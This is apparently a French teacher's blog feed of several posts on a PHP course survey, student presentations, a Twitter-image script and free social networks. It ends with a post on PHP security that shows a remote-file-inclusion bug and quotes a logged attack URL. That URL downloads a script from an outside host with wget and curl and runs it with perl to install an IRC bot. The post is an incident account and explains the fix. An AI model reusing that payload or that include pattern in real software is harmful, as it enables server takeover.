<p>Un concensus se dégage au sujet du <strong>javascript</strong>. Il ne faut absolument pas apprendre à programmer en javascript mais l'utilisation d'une librairie semble ressortir ... et c'est <a href="http://jquery.com">jQuery</a> qui gagne haut la main<sup>[<a href="https://blog.namok.be/?post/2011/11/22/Quel-contenu-pour-les-infographistes#pnote-1108-3" id="rev-pnote-1108-3">3</a>]</sup>.</p>
<p><a href="https://blog.namok.be/public/images/esi/enquete-formationPHP/screenshot-4.png"><img src="https://blog.namok.be/public/images/esi/enquete-formationPHP/.screenshot-4_m.jpg" alt="jQuery" style="display:block; margin:0 auto;" title="jQuery, nov. 2011" /></a></p>
<p>Ma dernière question portait sur les CMS (<a href="http://wordpress.com">Wordpress</a>, <a href="http://dotclear.org">Dotclear</a>, ou autres). Je demandais s'il fallait se contenter de l'habillage (édition des feuilles de style) ou bien fallait-il également pouvoir l'installer, y configurer/ajouter des <em>plugins</em> ? À nouveau, c'est l'<strong>infographiste polyvalent</strong> que l'on cherche !</p>
<p><a href="https://blog.namok.be/public/images/esi/enquete-formationPHP/screenshot-5.png"><img src="https://blog.namok.be/public/images/esi/enquete-formationPHP/.screenshot-5_m.jpg" alt="CMS, install config et css" style="display:block; margin:0 auto;" title="CMS, install config et css, nov. 2011" /></a></p>
<p>Je peux conclure en quelques points (jetés un peu en vrac):</p>
<ul>
<li>Ce que je proposais n'est pas très différent des attentes de mes 19 volontaires</li>
<li>Ce programme est trop chargé pour un module de 160 périodes</li>
<li>Par expérience, le public actuel de l'<a href="http://epse.be">ÉPSE</a> n'est pas disposé à assumer ce contenu</li>
<li>À qui se destine un tel contenu ? Un informaticien orienté <em>web</em> ou un infographiste ?</li>
<li>Mes 19 volontaires, pourtant jeunes, ont-ils une bonne perception du travail de l'infographiste en 2011</li>
</ul>
<p><strong>Le résumé (presque) complet fourni par <a href="http://docs.google.com">Google</a> est disponible en <a href="https://blog.namok.be/public/images/esi/enquete-formationPHP/FormationPHPenBACinfographie-public.pdf">PDF</a></strong></p>
<h4>À lire aussi</h4>
<ul>
<li><a href="https://blog.namok.be/blog/index.php?post/2011/09/01/Un-petit-sondage-pour-la-rentr%C3%A9e">Un petit sondage pour la rentrée</a></li>
<li><a href="https://blog.namok.be/blog/index.php?post/2011/03/14/Chamilo-2.0-aka-Edison">Chamilo 2.0 aka Edison</a></li>
</ul>
<div class="footnotes"><h4 class="footnotes-title">Notes</h4>
<p>[<a href="https://blog.namok.be/?post/2011/11/22/Quel-contenu-pour-les-infographistes#rev-pnote-1108-1" id="pnote-1108-1">1</a>] Merci à lui</p>
<p>[<a href="https://blog.namok.be/?post/2011/11/22/Quel-contenu-pour-les-infographistes#rev-pnote-1108-2" id="pnote-1108-2">2</a>] Il s'agit d'un module de 160 périodes</p>
<p>[<a href="https://blog.namok.be/?post/2011/11/22/Quel-contenu-pour-les-infographistes#rev-pnote-1108-3" id="pnote-1108-3">3</a>] D'accord c'est celle que je propose. Mais, primo, je la propose car elle me semble la plus répandue depuis 2/3 ans et la case «Other» n' pas été bcp cochée</p></div>
Un petit sondage pour la rentréeurn:md5:df4506fe256ad4e46d67781fdc76463f2011-09-01T14:10:00+02:002018-09-24T10:42:50+02:00PiTCartable au dosepsegeekphp<p><img src="https://blog.namok.be/public/images/divers/2011/School__s_Out___Forever_by_f0ll0wTheReaper.jpg" alt="School__s_Out___Forever_by_f0ll0wTheReaper.jpg" style="display:table; margin:0 auto;" title="School__s_Out___Forever_by_f0ll0wTheReaper.jpg, oct. 2013" /></p>
<p>C'est la rentrée des profs ! Comme si l'on ne travaillait que du 1 septembre au 30 juin ;-)</p>
<p>Bref, dans le cadre de mon cours de <em>Programmation interactive multimédia</em> à <a href="http://epse.be">l'ÉPSE</a>, je me pose des questions quant-au contenu du cours (et oui, on se remet en question ... tout le temps). Pour ce cours, bien que je dispose d'un programme <a href="http://esi.namok.be/brol/php/PHP-Programme-Infographie-Conceptionprogrammationmultimédia.pdf">(pdf)</a> (je le précise car à <a href="http://heb.be/esi">l'ÉSI</a> ce n'est pas le cas) je peux adapter le contenu du cours en fonction des avis/attentes des acteurs du métier ^^.</p> <p>C'est pourquoi, je demande (rassurez vous, j'ai fait aussi la demande par mail, histoire d'avoir des réponses) un peu l'avis autour de moi. Ceux qui voudront bien répondre au sondage suivant seront mille fois bénis ... et me consacrerons <strong>moins de 15 min</strong> de leur temps.</p>
<p><strong><a href="https://docs.google.com/spreadsheet/viewform?formkey=dGFwbkllelBUT3NZcEhsbFBOWlo5b0E6MQ">Vers le sondage ...</a></strong></p>
<p><img src="https://blog.namok.be/public/images/divers/2011/screenshot-enquete-php-1.png" alt="screenshot-enquete-php-1.png" style="display:table; margin:0 auto;" title="screenshot-enquete-php-1.png, oct. 2013" /></p>
<h4>Liens</h4>
<ul>
<li>Crédit photo DeviantArt, <a href="http://f0ll0wthereaper.deviantart.com/art/School-s-Out-Forever-72687631">f0ll0wTheReaper</a></li>
</ul>Présentation de stages et autres jurysurn:md5:258f984a42eef16e17e67228a9d309742011-06-21T15:44:00+02:002011-06-21T15:44:00+02:00PiTCartable au dosdiversepseesiinutilejavaphp<p>C'est la fin de l'année et avec elle le temps de examens ... mais on s'en fout ;-)</p>
<p>C'est aussi le temps des présentations de stage des gars de <em>BAC info</em> (dernière année à l'<a href="http://heb.be/esi">ÉSI</a>, de <em>SEC</em> (année de spécialisation en sécurité à l'<a href="http://heb.be/esi">ÉSI</a> toujours) ou de <em>BAC infographie</em> (dernière année à l'<a href="http://epse.be">ÉPSE</a>).</p>
<p>Et si souvent on est découragé par les abandons en première et en deuxième (plus fréquemment depuis la notion de réussite à 48 ECTS), on se retrouve remotivé par les réussites en troisième. Surtout que nos étudiants de <em>BAC infos</em> et <em>4^e sécurité</em> ont pour la plupart déjà trouvé du travail.</p>
<p>Alors qu'a-t-on entendu ces derniers jours ?</p> <h3>Bac info</h3>
<p>Nos troisièmes en info ont fait pas mal de travail et leurs présentations étaient pour la plupart très correctes et intéressantes. Les exposés font ressortir l'apport que nos étudiants pour les entreprises qui les accueillent et le bond en avant qu'ils font face à cette expérience ...</p>
<p>Il y a tous ceux qui ont fait de l'installation/configuration/paramétrisation de <em>softs</em> (service divers et <em>monitoring</em>); <a href="http://asterix.org">Astérix</a>, <a href="http://squid-cache.org">Squid</a>, <a href="http://nagios.org">Nagios</a>, <a href="http://zabbix.com">Zabbix </a>, <a href="http://openerp.org">openERP</a></p>
<p>Il y a ceux qui ont fait des <em>applications de gestion</em> dans différents langages; PHP, Java, C#, ... c'est-à-dire des applications <em>standalone</em>, souvent avec un accès à une BD (base de données), permettant de "gérer quelque chose". Par exemple,</p>
<ul>
<li>une application pour la gestion d'un laboratoire de préparation de médicament (recevoir la commande, encoder, lier au patient, générer une étiquette, envoyer)</li>
<li>gestion d'un parc informatique (quelles machines avec quel matériel se trouvent où, ... )</li>
</ul>
<p>Certains ont fait des applications <em>industrielles</em>. Ces applications demandent de pouvoir récupérer/manipuler un signal externe (une télécommande de porte, images de caméras, commande d'un four, ...).</p>
<p>Deux de nos étudiants se s'ont essayé à la programmation sur <a href="http://apple.com/ipad">iPad</a> (avec découverte du <em>monde Apple</em> et de ses exigences) (<a href="http://bephoto.be">BePhoto</a>) et sur <a href="http://frandroid.com">Androïd</a> (bientôt (peut-être), <em>Recette 4 saisons</em> sur l'android market).</p>
<p>En plus des langages, certains <em>frameworws</em> ou bibliothèques (<em>library</em>) ont été utilisés. Il faudra que je me penche sur certains d'entre eux (mais quand); <a href="http://www.springsource.org">Spring</a> (Java), <a href="http://grails.org">Grails</a>, <a href="http://www.fpdf.org/">FPD</a> (PHP), <a href="http://jpgraph.net/">jpGraph</a> (PHP), ... (la liste n'est pas exhaustive, c'est simplement ce que j'ai retenu et qui pourraient m'intéresser).</p>
<h3>Quatrième sécurité</h3>
<p>En quatrième sécurité, je n'ai pas assisté à toutes les présentations. Mon avis est donc incomplet. J'ai cependant trouvé que la qualité des présentations était moindre par rapport aux étudiants de troisième. On aurait pu croire qu'une certaines habitude des présentations (simplement car ils ont déjà un bac) aurait été un plus mais en fait les étudiants ont tendance à être plus à l'aise (peut-être moins stressés car moins d'enjeu) ce qui donne une présentation de moins bonne qualité.</p>
<p>Hormis la présentation, les sujets étaient, par contre, très intéressants ...</p>
<ul>
<li>Puces RFID et attaque par relais (<a href="http://fr.wikipedia.org/wiki/Attaque_par_relais">Wikipédia</a> <a href="http://ditwww.epfl.ch/SIC/SA/SPIP/Publications/spip.php?article1137">Article explicatif</a><sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-1" id="rev-pnote-1134-1">1</a>]</sup>)</li>
<li>Supervision de réseaux (mie en place de <a href="http://nagios.org">Nagios</a> et <a href="http://snort.org">Snort</a>)</li>
<li>Audit de sécurité (<a href="http://www.tenable.com/products/nessus/nessus-product-overview">Nessus</a>)</li>
<li>Une présentation sur le protocole 802.1X qui permet, pour les cartes réseaux le supportant, l'authentification de machine sur un réseau avec attribution d'un <em>vlan</em> particulier (<a href="http://en.wikipedia.org/wiki/IEEE_802.1X">Wikipedia</a>)</li>
<li>La sécurité en Java (Obfuscation de code, décompilation (<a href="http://www.varaneckas.com/jad">JAD</a>), signature de jar, JASS (<a href="http://www.jaasbook.com/">JASS book</a> <a href="http://www.oracle.com/technetwork/articles/javase/jaasv2-137221.html">Oracle</a>), ...)</li>
</ul>
<p>Bref que du bon en termes de sujets abordés .. ceci augure un bon avenir pour cette année de spécialisation en sécurité. Le monde professionnel semble également bien réceptif. Il semble que la réussite de cette année soit un <strong>plus</strong> sur le CV.</p>
<h3>Bac infographie</h3>
<p>Dans un tout autre domaine, le jury de fin de <em>BAC infographie</em> s'est déroulé la semaine dernière à l'<a href="http://epse.be">ÉPSE</a><sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-2" id="rev-pnote-1134-2">2</a>]</sup> et les présentations de stages n'ont rien à voir ^^. En effet, les cours sont; <em>compo</em> (il faut comprendre<sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-3" id="rev-pnote-1134-3">3</a>]</sup> utilisation d'un <em>soft</em> d'<a href="http://adobe.com">Adobe</a>, <a href="http://www.adobe.com/products/aftereffects.html">AfterEffect</a>, pemettant la "retouche" et l'ajout d'"effets" sur une vidéo), <em>3D</em> (la c'est l'utilisation de <a href="http://usa.autodesk.com/3ds-max/">Autodesk 3ds Max</a>, un <em>soft</em> de modélisation 3D) ... et <em>PHP</em> (le titre exact, c'est animation interactive et multimédia).</p>
<p>Donc pour ce jury, rien à comprendre, il suffit de regarder ... et c'est souvent beau ! Des extraits<sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-4" id="rev-pnote-1134-4">4</a>]</sup> ...</p>
<p>Valentin (<a href="http://vimeo.com/23635169">vimeo</a>) en <em>3D</em> nous fait un rappel de <a href="http://www.allocine.fr/film/fichefilm_gen_cfilm=16463.html">The Big Lebowski</a> et en <em>compo</em> un p'tit court métrage</p>
<center>
<iframe src="http://player.vimeo.com/video/25337014?title=0&byline=0&portrait=0" width="400" height="225" frameborder="0"></iframe><p><a href="http://vimeo.com/25337014">Coen Tribute - The Big Lebowski</a> from <a href="http://vimeo.com/user1475219">Valentin Taminiau</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
</center>
<center>
<iframe src="http://player.vimeo.com/video/23635169?title=0&byline=0&portrait=0" width="400" height="300" frameborder="0"></iframe><p><a href="http://vimeo.com/23635169">BLACK WAX</a> from <a href="http://vimeo.com/user1475219">Valentin Taminiau</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
</center>
<p>Des travaux très bien fait me permettant d'oublier que <em>PHP c'est pas leur truc</em> ... quoique Charles est arrivé au bout du projet et s'en sort très bien <a href="http://www.rles.biz/csc/">CleanShowcase</a>.</p>
<p>Il faudra faire une <strong>évaluation de l'année</strong> mais je me pose déjà pas mal de questions pour le cours de PHP.</p>
<ul>
<li>J'ai reçu un programme <a href="http://esi.namok.be/brol/php/PHP-Programme-Infographie-Conceptionetprogrammationmultimedia.pdf">PDF</a> que je dois suivre mais je constate que c'est difficile (parfois c'est de la mauvaise volonté aussi) pour pas mal d'étudiants.</li>
<li>Il y a beaucoup de concepts à assimiler (client/serveur, base de données, langage PHP) et c'est un retour à l'<strong>écrit</strong><sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-5" id="rev-pnote-1134-5">5</a>]</sup></li>
<li>Les infographistes du XXI siècle sont-ils encore amenés à écrire du <a href="http://php.net">PHP</a> ? Soit j'ai un "gros" site et c'est un informaticien qui code, soit c'est un "petit" site ... et je vais utiliser une plateforme existante (<a href="http://dotclear.org">Dotclear</a>, <a href="http://wordpress.org">Wordpress</a>, <a href="http://joomla.org">Joomla</a>, ...) qu'il me suffira d'habiller (et ça c'est leur métier).</li>
<li>C'est difficile pour moi de leur demander des choses "plus simples"<sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-6" id="rev-pnote-1134-6">6</a>]</sup></li>
<li>...</li>
</ul>
<p>(Si des infographistes bien installés passent par ici, qu'ils me donnent leur avis: "<em>Quel niveau d'attente avez-vous par rapport à des infographistes ?</em>")</p>
<h3>Les vidéastes</h3>
<p>Ce jury était également l'occasion de voir les travaux des étudiants <strong>vidéastes</strong><sup>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#pnote-1134-7" id="rev-pnote-1134-7">7</a>]</sup></p>
<p>Jonas nous présente une chouette réflexion sur l'argent.</p>
<center>
<iframe src="http://player.vimeo.com/video/25190777?title=0&byline=0&portrait=0" width="400" height="225" frameborder="0"></iframe><p><a href="http://vimeo.com/25190777">Money</a> from <a href="http://vimeo.com/user1805505">Jonas Lievens-Demeyere</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
</center>
<p>Tandis que Valentin nous propose un court-métrage, <em>Decay</em> racontant l'histoire de ... je vous laisse regarder ...</p>
<center>
<iframe src="http://player.vimeo.com/video/25156134?title=0&byline=0&portrait=0" width="400" height="225" frameborder="0"></iframe><p><a href="http://vimeo.com/25156134">DECAY</a> from <a href="http://vimeo.com/user1475219">Valentin Taminiau</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
</center>
<p>Voilà voilà ... pas de conclusion ;-)</p>
<p><strong>À lire aussi</strong></p>
<ul>
<li><a href="https://blog.namok.be/blog/index.php?post/2010/11/04/Prolongation-de-session%2C-c-est-pas-cong%C3%A9">Prolongation de session, c'est pas congé</a></li>
<li><a href="https://blog.namok.be/blog/index.php?post/2010/08/26/Mise-%C3%A0-jour-du-site-%C3%A0-destination-des-%C3%A9tudiants">Mise à jour du site à destination des étudiants</a></li>
<li><a href="https://blog.namok.be/blog/index.php?post/2010/06/04/evaluation-des-outils-web-mis-a-la-disposition-des-etudiants">Évaluation des outils web mis à la disposition des étudiants</a></li>
</ul>
<div class="footnotes"><h4>Notes</h4>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-1" id="pnote-1134-1">1</a>] ... d'où proviennent probablement les images de la présentation ^^</p>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-2" id="pnote-1134-2">2</a>] L' école de promotion sociale d'Enghien dans laquelle je donne un (très petit) cours de PHP.</p>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-3" id="pnote-1134-3">3</a>] C'est du moins ce que moi je comprend ;-)</p>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-4" id="pnote-1134-4">4</a>] Je n'ai que les vidéos que je trouve sur Viméo ... Si d'autres veulent s'ajouter (Jean-Louis ?)</p>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-5" id="pnote-1134-5">5</a>] On écrit le code PHP tandis que l'on paramètre, utilise la souris, ... dans les cours de <em>compo</em> et de <em>3D</em></p>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-6" id="pnote-1134-6">6</a>] Je demande une authentification et boum ! Il faut utiliser; <em>cookie</em>, sessions et formulaires ... ce qui suffit à en perdre la plupart</p>
<p>[<a href="https://blog.namok.be/?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys#rev-pnote-1134-7" id="pnote-1134-7">7</a>] Nouvelle formation proposée par <a href="http://www.epse.be/videoinfo.html">l'ÉPSE</a></p></div>
Tweet comme une imageurn:md5:24e5db70156bef3539a56a2e08f0e1132011-01-09T01:48:00+01:002011-01-09T02:55:21+01:00PiTMes doigts dans le clavierdiversgeekphpscripttwitter<p>Jusqu'à il y a peu, j'utilisais <a href="http://twitstamp.com">TwitStamp </a> pour ajouter mon status <a href="https://blog.namok.be/?post/2011/01/09/http;//twitter.com">Twitter </a> comme signature sur un forum. Le site est malheuseusement <em>down</em>. Il n'est pas possible d'ajouter une signature dynamique sur un forum. Le texte que l'on écrit l'est une fois pour toute.</p>
<p>Par contre il est possible d'y ajouter une image ... et si par magie cette image change réguièrement (en conservant le même nom), alors je vois apparaître mon status comme signature du forum.</p>
<p>Inutile donc indispensable.</p> <p>J'avais choisi TwitStamp car il me permettait de générer une image très sobre. Il existe moults autres sites offrant ce service ... mais ces sites ne laissent pas choisir l'image en question. On peut citer</p>
<ul>
<li><a href="http://www.twitsig.com">TwitSig </a></li>
</ul>
<p><img src="https://blog.namok.be/?post/2011/01/09/ http://twitsig.com/Pinkilla.jpg " alt="" /></p>
<ul>
<li><a href="http://www.tweetbars.com/get.php?u=pinkilla">TweetBars </a></li>
</ul>
<p><img src="https://blog.namok.be/?post/2011/01/09/ http://bar.tweetbars.com/pinkilla.gif " alt="" /></p>
<ul>
<li><a href="http://www.twiimg.com/">TwiImg </a> qui ne semble pas fonctionner à l'heure où j'écris ces lignes.</li>
<li><a href="http://www.twittersignaturestyles.com/">Twitter Signature Styles </a> qui est l'un des seuls à encore proposer plusieurs choix de styles.</li>
</ul>
<p><img src="http://twittersignaturestyles.com/twittersig.php?id=pinkilla&style=7" alt="" />
<img src="http://twittersignaturestyles.com/twittersig.php?id=pinkilla&style=8" alt="" />
<img src="http://twittersignaturestyles.com/twittersig.php?id=pinkilla&style=2" alt="" /></p>
<ul>
<li><a href="http://twitimg.com">TwitImg </a></li>
</ul>
<p><img src="http://twitimg.com/pinkilla.png" alt="" /></p>
<ul>
<li>... et peut-être encore d'autres.</li>
</ul>
<p>Bref, je ne vois là rien qui m'interesse lorsque je tombe sur [cet article |
http://oeuvres.artlibre.org/Numerique/Logiciel/2502.html] relatant l'existence d'un script écrit en son temps (2009) par <a href="http://logz.org/">LoZ </a>. Ce script, <strong><a href="http://logz.org/tweetimg">TweetImg</a></strong> fait le boulot en utilisant les librairies <a href="https://blog.namok.be/?post/2011/01/09/magpierss.sourceforge.net">MagpieRSS </a> et GQ en <a href="http://php.net">PHP </a>.</p>
<p>Même s'il me fourni une image assez moche, elle est suffisament simple que pour me plaire et surtout me permet de modifier à ma guise le script fourni.</p>
<p><img src="http://logz.org/tweetimg/tweetimg.php?user=pinkilla" alt="" /></p>
<blockquote><p>TweetImg est un script utilisant la librairie gd et magpierss pour convertir le dernier tweet de votre fil rss de status, en images png, que l'on peut ensuite facilement intégrer sur un blog etc.</p></blockquote>
<p>Je passe en revue le code $$Je me permet de renommer le script en <code>tweetimglight.php</code> car je vais le simplifier au maximum pour mes simple besoin. Je veux simplement que mon status soi afficher sans (trop) de couleur, sans bord. Je n'ai pas besoin de permettre de le modifier en ligne ... je veux <strong>quelque chose de très simple</strong>.</p>
<p>En passant je renomme les variables (<code>s/CouleurFond/backgroundColor/</code>) et j'indente un peu mieux. Voilà, c'est hébergé et ça donne ça:</p>
<p><img src="http://namok.be/tweetimglight/tweetimglight.php?user=Pinkilla" alt="" /></p>
<p>J'avais dit: "Simple".</p>
<p>Le code (sans la librairie MagpieRSS) -> (Je le posterai demain car ça me génère une erreur 500 ?)</p>Un reseau social libre, une utopie ?urn:md5:c7f48efc05a44876331dee6cb4ecd9642010-10-13T17:43:00+02:002010-10-13T17:00:01+02:00PiTMes doigts dans le clavierbuzzesifacebookphp<p><a href="http://facebook.com">Facebook</a> est <strong>le</strong> réseau social par excellence, c'est lui le <em>leader</em>. Je suis utilisateur de FB et mon principal soucis est le <em>only facebook</em> (dont <a href="https://blog.namok.be/blog/index.php?post/2010/09/03/Je-ne-mettrai-pas-de-like-bouton-sur-mon-blog">j'ai déjà parlé</a>), Je pense qu'il faut lutter contre cette tendance à ne plus exister sur le web si l'on n'a pas de compte FB.</p> <p>Avant j'entendais à la radio ou via mes amis des infos du style:</p>
<ul>
<li>"J'ai écrit un article sur mon blog.",</li>
<li>"Vous retrouverez cette info sur notre site web"</li>
</ul>
<p>maintenant, j'entend</p>
<ul>
<li>"Va voir mon profil FB",</li>
<li>"Vous retrouverez cette info sur la page FB de l'émission",</li>
<li>...</li>
</ul>
<p>Et c'est bien quand <a href="http://www.rtbf.be/purefm/">Pure FM</a> pour ne pas la citer a commencer à diffuser ce genre d'infos que je me suis rendu compte de l'importance qu'a pris FB. Certains de mes étudiants ne savent plus envoyer un mail (un bon vieux mail) et pense qu'un mail est un "mail FB". Bon, c'est pas grave, on va les éduquer ;-)</p>
<p>Je suis content de découvrir que je ne suis pas le seul à penser cela et des initiatives naissent afin de lutter, non pas contre la suprématie de FB, mais contre sa politique de confidentialité et la non existence en dehors de FB (<em>only facebook</em>, vous commencez à connaitre l'expression).</p>
<p>Le projet <a href="http://fr.readwriteweb.com/2010/05/06/a-la-une/projet-diaspora-anti-facebook/#comment-17296">Diaspora</a> tout à fait naissant (encore aucune ligne de code n'est écrite) tend à "contrer" FB en proposant le même genre d'outil version <em>libre</em>. c'est bien mais</p>
<ul>
<li>ça ne répond pas à ma crainte <em>only facebbok</em> car l'on risque de générer un <em>only diaspora</em></li>
<li>ce genre de copie a bcp de mal à s'installer car les fonds étant moindre, les gadgets jugés inutiles non proposés ne permettent pas d'évincer le ténor (je pense à <a href="http://identi.ca">Identi.ca</a> versus <a href="http://twitter.com">Twitter</a>, <a href="http://jabber.org">Jabber</a> versus MSN, ...)</li>
</ul>
<p>Je préfère le projet <a href="http://www.movim.eu/">MOVIM</a> qui tente de proposer une plateforme décentralisée. L'idée étant que je reste maître des infos que je partage puisque c'est moi qui les stocke (elles ne sont pas <del>détenues</del> cédées à une société tiers).</p>
<blockquote><p>Le projet MOVIM (pour My Open Virtual Identity Manager) vise à créer une plateforme sociale complète, opensource et totalement décentralisée dans le plus grand respect de ses utilisateurs</p></blockquote>
<p>Ce projet est un projet à suivre via leur <a href="http://planet.movim.eu">planet</a> par exemple.</p>Sécurité PHPurn:md5:008e3fdea7ff634da11c7c52af0ac8c52007-08-31T23:52:00+00:002009-10-02T11:45:46+00:00PiTMes doigts dans le claviergeekphppratiquesecurity<p>J'ai écrit un <a href="http://musiqueautour.be">site</a> pour un ami et j'ai
décidé de le faire en <a href="http://fr.php.net">PHP</a>. Jusque là, rien de bien
particulier. Après quelques recherche, je trouve un canevas me permettant de
générer diverses pages avec le même <em>header</em> et le même <em>footer</em>.
<br />
Toujours rien de particulier ... et donc ...
</p> <p>
L'idée c'est d'avoir des pages de la forme <tt>index.php?p=un</tt> ou
<tt>index.php?p=deux</tt>. J'écris donc
</p>
<blockquote><p>
if (isset($HTTP_GET_VARS['p'])) { <br />
$page = $HTTP_GET_VARS['p']; <br />
} else {<br />
$page = 'home';<br />
}<br />
include 'header.php';<br />
include "$page.php";<br />
include 'footer.php';</p>
</blockquote>
<p>Et ça marche bien ... jusqu'à ce qu'il y ait un malveillant qui donne comme
page ni <em>un</em> ni <em>deux</em> .. mais plutôt un truc du style
</p>
<blockquote><p><tt>
(extrait de log) /index.php?p=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?&cmd=
cd%20/tmp;
rm%20but.txt;
wget%20http://eep.br/~gpereira/but.txt;
fetch%20http://eep.br/~gpereira/but.txt;
lwp-download%20http://eep.br/~gpereira/but.txt;
curl%20-O%20http://eep.br/~gpereira/but.txt;
lynx%20http://eep.br/~gpereira/but.txt;
perl%20but.txt
</tt></p>
</blockquote>
<p>Et là, c'est génial. Le gars fait télécharger sur ma machine (ou plutôt chez
mon hébergeur) un script dans le répertoire <tt>/tmp</tt> et l'exécute. Ce
script est un <em>bot IRC</em> qui va gentillement se connecter à <a href="http://fr.wikipedia.org/wiki/irc">IRC</a> et attendre les commandes de son
"maître". Ces commandes sont du style <tt>portscan</tt>, <tt>tcpflood</tt>,
<tt>httpflood</tt> ... ah le malveillant.
</p>
<p>Voilà, j'ai envoyé mon mail de "plainte" au site responsable de l'hébergement
aparant du gars ... on verra bien. J'ai également été voir sur <em>irc.udplink.net
/ #bots</em> où je vois 5,6 <em>bots</em> appartenant au gars.
</p>
<p>J'ai modifié mon fichier php afin qu'il n'accepte comme paramètres uniquement les valeurs des pages qui existent (dans l'exemple <tt>un</tt> et <tt>deux</tt>). </p>
<p>La question qui reste sans réponses ... comment faire brûler sa machine ^^
... et surtout comment savoir qu'elle a brulé :-)) </p>